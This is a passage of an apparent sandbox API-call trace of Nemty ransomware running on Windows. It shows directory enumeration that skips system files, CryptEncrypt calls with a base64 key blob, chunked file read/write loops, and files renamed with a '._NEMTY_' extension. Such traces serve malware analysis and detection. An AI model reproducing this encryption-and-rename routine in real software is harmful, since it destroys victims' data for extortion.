lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.679] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.714] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0075.720] CloseHandle (hObject=0xffffffff) returned 0 [0075.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0075.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0075.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0075.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0075.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.720] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png._nemty_kgobjgd_")) returned 0 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0075.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0075.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.721] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2=".") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="..") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="...") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="windows") returned -1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="$RECYCLE.BIN") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="rsa") returned -1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="NTDETECT.COM") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="ntldr") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="MSDOS.SYS") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="IO.SYS") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="boot.ini") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="boot.ini") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="AUTOEXEC.BAT") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="ntuser.dat") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="desktop.ini") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="CONFIG.SYS") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="RECYCLER") returned -1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="BOOTSECT.BAK") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="bootmgr") returned 1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="programdata") returned -1 [0075.721] lstrcmpiW (lpString1="Pets_btn-previous-over-select.png", lpString2="appdata") returned 1 [0075.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0075.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0075.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-over-select.png", lpUsedDefaultChar=0x0) returned 33 [0075.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f942b0 [0075.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0075.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-over-select.png", lpUsedDefaultChar=0x0) returned 33 [0075.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0075.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0075.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0075.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-over-select.png", lpUsedDefaultChar=0x0) returned 33 [0075.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0075.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0075.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0075.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0075.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-previous-over-select.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-previous-over-select.png", lpUsedDefaultChar=0x0) returned 33 [0075.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0075.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942b0 [0075.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0075.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0075.722] Sleep (dwMilliseconds=0x5) [0075.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0c9f850, dwHighDateTime=0x1d561e7)) [0075.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0c9f850, dwHighDateTime=0x1d561e7)) [0075.736] GetLastError () returned 0x5 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.736] GetLastError () returned 0x5 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0075.736] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0075.736] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0075.736] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0075.736] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="kcexnIqaC7QekdROxPzFPU4bJzbsec366LRUtE37BfcQbsOYCr3pf4IQFtRS3i6d\r\nop637PYBtGLgauiBMD+gL34L50A4WrDGtFGqxjrliAIvkoMTnyI4zJsQwfEGM/Cw\r\nbyXQwVuRNF18rdHIeRuGCOZ7wUjipcuNA/rlpVz8NWKBt+9x4SSSC6MMPWph+x3d\r\nxv07n1lcQcI1UessQYqw+8VnILoIESK5SBVrK7/3DGEMTCb/T7rqhzicjlEzQbb6\r\n1YdIiJvU0/IuJm/boeIPxsoRMDC4bfAfXuk70BTdJX6UofKIkSu6S4mKZtvudE+D\r\nmBqygdvL/IJjSsnmgpPTtA==\r\n", pcchString=0x653e91c) returned 1 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0075.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0075.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0075.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0075.736] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.737] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0075.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0075.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.765] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 